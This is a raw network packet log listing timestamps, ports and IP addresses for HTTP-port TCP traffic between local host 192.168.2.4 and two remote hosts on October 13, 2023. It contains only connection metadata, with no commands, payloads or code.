Oct 13, 2023 16:06:20.396972895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397003889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397011995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397039890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397119045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397165060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397198915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397258043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397290945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397332907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397363901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397407055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397420883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397499084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397502899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397543907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397553921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397591114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397622108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397660017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397659063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397700071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397731066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397770882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397775888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397824049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397881031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397944927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.397953033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.397979021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.398005962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.398044109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.398072958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.398116112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.398153067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.398191929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.398222923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.398257017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.398264885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.398294926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.398324013 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:20.398403883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.398439884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.398482084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.398488998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.398504019 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:20.398511887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.398524046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.398530960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.398586035 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:20.398994923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399023056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399036884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399075985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399118900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399158001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399199963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399214983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399254084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399286032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399328947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399358034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399399042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399436951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399478912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399507999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399533033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399552107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399574041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399583101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399622917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399652958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399684906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399692059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399725914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399761915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399796009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399801016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399842024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399859905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399903059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.399931908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.399970055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.400271893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.400316954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.400321960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.400368929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.400383949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.400424004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.400441885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.400482893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.400501013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.400561094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.400621891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.400665045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.400684118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.400722980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.400753021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.400787115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.400790930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.400830984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.400877953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.400922060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.400978088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.401019096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.401037931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.401077986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.401242971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.401287079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.401330948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.401386023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.401428938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.401467085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.401523113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.401568890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.401693106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.401736021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.401766062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.401806116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.401835918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.401879072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.401933908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.401976109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.402014017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402059078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.402091980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402131081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.402160883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402196884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.402250051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402342081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402414083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402568102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402640104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402651072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.402678967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.402726889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402772903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.402806044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402846098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.402875900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402915001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.402931929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402956009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.402976990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.402987957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.403042078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.403079987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.403335094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.403376102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.403425932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.403462887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.403501987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.403538942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.403556108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.403597116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.403615952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.403652906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.403856039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.403892994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.403944016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.403980970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.404036999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.404078007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.404095888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.404134989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.404164076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.404201984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.404251099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.404288054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.404396057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.404437065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.404489040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.404525995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.404582024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.404618979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.404735088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.404772997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.404808044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.404844046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.404872894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.404907942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.404978037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405013084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405066967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405107975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405138016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405177116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405215979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405251980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405297995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405339003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405383110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405420065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405469894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405508995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405551910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405587912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405635118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405673981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405736923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405774117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405852079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405888081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405899048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.405941010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.405971050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.406008005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.406061888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.406099081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.406152964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.406189919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.406260967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.406297922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.406328917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.406364918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.406416893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.406455040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.406485081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.406527996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.406591892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.406627893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.406692028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.406729937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.406801939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.406840086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.406965971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407006025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407042027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407078028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407150030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407186985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407198906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407243013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407263041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407305002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407324076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407361984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407377958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407423973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407426119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407461882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407491922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407529116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407603025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407641888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407659054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407701015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407749891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407797098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407840967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407881975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407901049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.407970905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.407973051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408016920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.408057928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408097029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.408113956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408162117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.408175945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408215046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.408260107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408298016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408299923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.408338070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.408355951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408397913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.408473969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408529043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.408718109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408760071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.408811092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408849001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.408884048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408921003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.408951044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.408991098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.409080029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.409116983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.409188986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.409228086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.409240961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.409280062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.409292936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.409332037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.409476995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.409591913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.409601927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.409643888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.409712076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.409770966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.409785986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.409832954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.409840107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.409904957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.409934998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.409969091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.409975052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.410008907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.410159111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.410208941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.410310030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.410348892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.410365105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.410409927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.410845041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.410881042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.410947084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.410984039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.411043882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.411262989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.411276102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.412348032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.412411928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.412457943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.412494898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.412525892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.412568092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.412597895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.412640095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.412695885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.412733078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.412772894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.412807941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.412862062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.412898064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.412935972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.412971973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413001060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413038969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413068056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413104057 CEST	49762	80	192.168.2.4	91.215.85.17
